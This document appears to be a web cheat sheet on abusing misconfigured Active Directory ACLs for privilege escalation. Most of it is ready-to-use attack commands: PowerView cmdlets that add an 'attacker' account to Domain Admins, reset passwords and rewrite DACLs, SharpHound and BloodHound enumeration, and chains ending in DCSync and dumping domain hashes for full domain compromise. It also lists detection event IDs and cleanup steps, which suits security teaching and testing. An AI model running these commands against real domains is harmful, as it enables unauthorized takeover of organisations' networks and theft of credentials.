Identify and exploit misconfigured Access Control Lists to gain elevated privileges or access to sensitive objects. ACL abuse is one of the most powerful privilege escalation techniques in AD, often overlooked by defenders.
# Add user to group (GenericAll/GenericWrite) Add-DomainGroupMember-Identity'Domain Admins'-Members'attacker'
Understanding ACL Abuse
Common Abusable ACEs
ACE Permission
Abuse Method
PowerView Function
ForceChangePassword
Reset user password
Set-DomainUserPassword
AddMembers
Add to group
Add-DomainGroupMember
GenericAll
Full control
Set-DomainUserPassword, Add-DomainGroupMember
GenericWrite
Modify object
Set-DomainObject
WriteOwner
Take ownership
Set-DomainObjectOwner
WriteDACL
Modify permissions
Add-DomainObjectACL
AllExtendedRights
All extended rights
Set-DomainUserPassword
AddSelf
Add self to group
Add-DomainGroupMember
Enumeration
PowerView ACL Enumeration
# Import PowerView Import-Module .\PowerView.ps1
# Find all interesting ACLs Find-InterestingDomainAcl-ResolveGUIDs
# Find ACLs for specific user $sid = Convert-NameToSid username Get-DomainObjectAcl-ResolveGUIDs-Identity * | ? {$_.SecurityIdentifier -eq$sid}
# Find objects where user has GenericAll Get-DomainObjectAcl-ResolveGUIDs | ? {$_.ActiveDirectoryRights -match"GenericAll"-and$_.SecurityIdentifier -match$sid}
# Collect data with SharpHound .\SharpHound.exe -c All --zipfilename bloodhound_data.zip
# In BloodHound GUI, run queries: # - Shortest Path to Domain Admins # - Find Principals with DCSync Rights # - Find Computers where Domain Users are Local Admin # - Shortest Path from Owned Principals
dacledit.py (Linux)
# Enumerate ACLs for user dacledit.py -action read -principal user -target targetuser domain.local/user:password
User → GenericAll on Group → Add Self → Privileged Group Member
User → WriteDACL on Domain → Grant DCSync → Dump Hashes
User → GenericWrite on User → Set SPN → Kerberoast → Crack Password
User → WriteOwner on User → Take Ownership → Grant Rights → Reset Password
Detection
ACL abuse generates:
Event ID 4662 (Operation performed on object)
Event ID 4670 (Permissions changed)
Event ID 4728 (Member added to security-enabled global group)
Event ID 5136 (Directory service object modified)
Event ID 4738 (User account changed)
Monitor for:
Unusual ACL modifications
Unexpected group membership changes
Password resets by non-admin users
SPN additions to user accounts
DCSync rights granted to non-admin accounts
BloodHound Queries
Useful custom queries:
// Find shortest path from owned user to Domain Admins MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})) RETURN p
// Find users with DCSync rights MATCH p=(u:User)-[:MemberOf|GetChanges*1..]->(d:Domain) RETURN p
// Find computers where Domain Users are local admin MATCH p=(g:Group {name:"DOMAIN USERS@DOMAIN.LOCAL"})-[:AdminTo]->(c:Computer) RETURN p
Common Misconfigurations
Frequently found ACL issues:
Help Desk groups with password reset rights on all users
Service accounts with GenericAll on Domain Admins
Users with WriteDACL on domain object
Exchange groups with excessive permissions
Nested group memberships leading to unintended rights
Privilege Escalation Paths
Low Privilege → Domain Admin:
Enumerate ACLs with PowerView/BloodHound
Identify path to privileged group/user
Abuse ACL chain (GenericAll → WriteDACL → DCSync)
Dump domain hashes
Use DA hash for full compromise
Cleanup
Always clean up after ACL abuse:
# Remove from group Remove-DomainGroupMember-Identity'Domain Admins'-Members'attacker'
# Remove ACE Remove-DomainObjectAcl-TargetIdentity targetuser -PrincipalIdentity attacker -Rights All